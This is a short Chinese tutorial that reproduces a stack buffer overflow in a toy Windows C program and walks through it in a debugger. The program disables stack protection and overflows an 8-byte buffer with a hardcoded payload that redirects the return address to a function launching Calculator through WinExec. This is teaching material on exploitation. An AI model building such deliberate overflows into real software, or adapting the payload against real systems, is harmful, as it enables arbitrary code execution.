二进制漏洞——栈溢出复现
栈布局如下:

- 可以看出,要构造栈溢出需要将函数内部成员长度突破EBP并覆盖到返回地址处即可得到执行。构造代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include <stdio.h> #include <windows.h>
__declspec(safebuffers) void OverFlow(char *); __declspec(dllexport) BOOL MyWinExec(char *,UINT); int main(int argc,char *argv[]) { char Buf[]="\x63\x61\x6C\x63\x00\x00\x00\x00\x90\x90\x90\x90" "\x5B\x10\x40\x00\x04\xFF\x12\x00\x05\x00\x00\x00"; char test[8]; OverFlow(Buf); } __declspec(safebuffers) void OverFlow(char *Buf) { char testBuf[8]; memcpy(testBuf,Buf,32); } __declspec(dllexport) BOOL MyWinExec(char *name,UINT flag) { WinExec((LPCSTR)name,flag); return true; }
|
代码的目的在于通过memcpy函数将Buf数组拷入OverFlow函数的堆栈空间、并将MyWinExec函数的地址覆盖到OverFlow执行完后的返回地址,实现调用WinExec弹出计算器。

OD调试:
可以看到当执行完 rep movsd指令,堆栈窗口的EBP被覆盖为90909090,返回地址被覆盖为MyWinExec函数地址。并且构造好了WinExec函数参数。

这就是常见的栈溢出导致任意代码执行。